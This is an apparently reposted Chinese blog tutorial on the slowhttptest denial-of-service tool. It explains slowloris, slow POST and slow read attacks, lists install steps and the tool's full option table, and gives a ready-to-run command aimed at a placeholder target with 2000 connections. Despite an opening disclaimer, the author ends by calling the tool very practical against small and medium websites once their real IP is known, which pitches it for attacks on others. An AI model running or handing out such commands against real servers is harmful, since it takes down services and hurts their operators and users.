zl程序教程

您现在的位置是:首页 >  云平台

当前栏目

慢速http测试(dos攻击)

攻击测试HTTP DOS 慢速
2023-06-13 09:17:15 时间

在法律允许的范围内,本人在此声明,不承担用户或任何人士就使用或未能使用本人所提供的信息或任何链接或项目所引致的任何直接、间接、附带、从属、特殊、惩罚性或惩戒性的损害赔偿(包括但不限于收益、预期利润的损失或失去的业务、未实现预期的节省)

本人所提供的信息,只提供学习研究,若自行用作违法用途,本人不承担任何责任,学习一途,双刃之剑。继续阅读则表示您同意本声明。

然后下面是正文,这一篇工具介绍类文章,因为这个有一定可违法性,所以大家看完免责再说吧

然后简单介绍一下这个软件的功能

slowhttptest软件

应用层 DoS 攻击,例如 slowloris Slow HTTP POST Slow Read 攻击 (基于 TCP 持久计时器利用)通过耗尽并发连接池,以及 Apache Range Header 攻击 通过在服务器上造成非常大的内存和 CPU 使用率。

Slowloris 和 Slow HTTP POST DoS 攻击依赖于这样一个事实,即 HTTP 协议在设计上要求请求在处理之前完全被服务器接收。 如果 HTTP 请求不完整,或者传输速率非常低,服务器会使其资源忙于等待其余数据。 如果服务器占用太多资源,就会造成拒绝服务。 此工具正在发送部分 HTTP 请求,试图从目标 HTTP 服务器获得拒绝服务。

Slow Read DoS 攻击 针对与 slowloris 和 slow POST 相同的资源,但它不是延长请求,而是发送合法的 HTTP 请求并缓慢读取响应。

上面的废话结束了,我们来说一下安装与使用

$ tar -xzvf slowhttptest-x.x.tar.gz

$ cd slowhttptest-x.x

$ ./configure --prefix=PREFIX

$ make

$ sudo make install

这个是再GitHub下载的安装方式,我们也可以直接使用parrot os系统,内置安装,或者使用kali安装

apt-get install openssl
apt-get install libssl-dev
apt-get install

测试从以下默认参数开始:

测试类型

慢头

连接数

50

网址

http://本地主机/

动词

得到

跟进数据间隔

10秒

每秒连接数

50

测试持续时间

240 秒

探测连接超时

5秒

后续数据字段的最大长度

32字节

等会我们输入命令的时候就知道怎么去配置了

下面这个是原开发商的英文参数解释,大家可以自行翻译,实在不想看的可以跳过这部分直接看使用命令。

option

description

-a start

start value of ranges-specifier for range header test

-b bytes

limit of range-specifier for range header test

-c number of connections

limited to 65539

-d proxy host:port

for directing all traffic through web proxy

-e proxy host:port

for directing only probe traffic through web proxy

-H, B, R or X

specify to slow down in headers section or in message body, -R enables range test, -X enables slow read test

-f content-type

value of Content-type header

-g

generate statistics in CSV and HTML formats, pattern is slow_xxx.csv/html, where xxx is the time and date

-i seconds

interval between follow up data in seconds, per connection

-j cookies

value of Cookie header (ex.: -j "user_id=1001; timeout=9000")

-k pipeline factor

number of times to repeat the request in the same connection for slow read test if server supports HTTP pipe-lining.

-l seconds

test duration in seconds

-m accept

value of Accept header

-n seconds

interval between read operations from receive buffer

-o file

custom output file path and/or name, effective if -g is specified

-p seconds

timeout to wait for HTTP response on probe connection, after which server is considered inaccessible

-r connections per second

connection rate

-s bytes

value of Content-Length header, if -B specified

-t verb

custom verb to use

-u URL

target URL, the same format you type in browser, e.g https://host[:port]/

-v level

verbosity level of log 0-4

-w bytes

start of range the advertised window size would be picked from

-x bytes

max length of follow up data

-y bytes

end of range the advertised window size would be picked from

-z bytes

bytes to read from receive buffer with single read() operation

使用命令

slowhttptest -c 2000 -B -g -o body_states -i 110 -r 200 -s 8192 -t FAKEVERB -u http://目标 -x 10 -p 3

这样可以直接使用,参数含义大家可以参考上面的英文文档

成功完成攻击,可以到目标服务器中使用

netstat -ano

命令查看我们的攻击结果

我这里用我自己的服务器做了测试,可以发现明显访问速度过慢,如果再持续时间久一点应该就要无法访问了,针对中小型站还是非常实用的,前提是你知道对方的真实IP地址。